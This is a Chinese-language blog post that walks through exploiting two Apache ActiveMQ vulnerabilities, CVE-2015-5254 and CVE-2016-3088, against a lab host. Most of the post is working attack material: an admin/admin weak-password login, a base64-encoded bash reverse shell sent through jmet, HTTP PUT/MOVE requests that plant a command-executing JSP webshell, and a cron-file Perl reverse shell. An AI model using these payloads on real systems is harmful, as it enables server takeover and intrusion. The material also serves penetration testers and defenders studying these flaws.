内网高频组件漏洞整理-ActiveMQ

发布于 2023-02-17  637 次阅读


简介:

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

在内网中,ActiveMQ最常见的漏洞是弱口令,在特定版本中,ActiveMQ存在漏洞可获取服务器权限

漏洞复现:

1.ActiveMQ 反序列化漏洞 (CVE-2015-5254)

Apache ActiveMQ 5.13.0 之前的 5.x 版本安全漏洞,该程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java Message Service (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

影响版本:
Apache ActiveMQ 5.x < 5.13.0

访问http://192.168.161.136:8161/
发现存在ActiveMQ服务

访问admin目录,尝试弱口令admin/admin登陆,成功进入后台

这里我们发现版本5.11.1,存在反序列化漏洞,尝试利用
漏洞利用过程如下:
1.生成序列化的有效负载(可以使用 ysoserial);
2.将有效负载发送到端口 61616;
3.访问web管理页面并读取序列化消息,然后就可以触发漏洞。

这里我们使用jmet
https://github.com/matthiaskaiser/jmet

bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

这里要注意以下IP,因为是docker启的漏洞环境,这儿是反弹到宿主机上
还有注意java版本,17会报错,8可以正常执行
还有就是如果jmet-0.1.0-all.jar同目录下没有external的文件夹会报错

接着我们访问
http://192.168.161.136:8161/admin/browse.jsp?JMSDestination=event
这里可以看到队列

点击即可反弹回shell

2.ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)

ActiveMQ web控制台分为三个应用,admin、api和fileserver,其中 admin 为管理员页面,api 为接口,fileserver 为存放文件的接口;admin 和 api 需要登录才可以使用,fileserver 不需要登录。

fileserver 是一个 RESTful API 接口。我们可以通过GET、PUT、DELETE等HTTP请求来读写其中存储的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件的缺陷,但后来发现它的使用率不高、文件操作容易出现漏洞。所以ActiveMQ在5.12.x~5.13.x中默认关闭了fileserver应用(可以在conf/jetty.xml中打开);在 5.14.0 之后,文件服务器应用程序被完全删除。

漏洞出现在 Fileserver 应用中,fileserver 支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。

影响版本
Apache ActiveMQ 5.0.0 - 5.13.2
Apache ActiveMQ 在 5.12.x~5.13.x 中默认关闭了fileserver应用(可以在conf/jetty.xml中打开)

利用方式:

1.写 webshell

首先弱口令进入后台,查看版本5.11.1,存在漏洞
接着访问
http://192.168.161.136:8161/admin/test/systemProperties.jsp
找到绝对路径

使用 PUT 方法在 fileserver 应用中写入 webshell,返回状态码204说明文件写入成功:

PUT /fileserver/tmp.txt HTTP/1.1
Host: 192.168.161.136:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 287

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

但 fileserver 应用不解析jsp文件,需要使用 MOVE 方法移动到 api 或 admin 文件夹:

MOVE /fileserver/tmp.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: 192.168.161.136:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


访问

http://192.168.161.136:8161/api/shell.jsp?pwd=023&i=ls

成功执行命令

2.写crontab反弹shell

这是一种比较稳定的方法,该方法需要以 root 身份运行ActiveMQ,否则将无法写入 cron 文件。先上传cron配置文件(注意换行必须是\n,不是\r\n,否则crontab执行会失败):

PUT /fileserver/tmp2.txt HTTP/1.1
Host: 192.168.161.136:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 287

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="172.17.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

移动至文件/etc/cron.d/root:

MOVE /fileserver/tmp2.txt HTTP/1.1
Destination: file:////etc/cron.d/root
Host: 192.168.161.136:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

接着做好监听,一会就可以收到shell

届ける言葉を今は育ててる
最后更新于 2023-02-17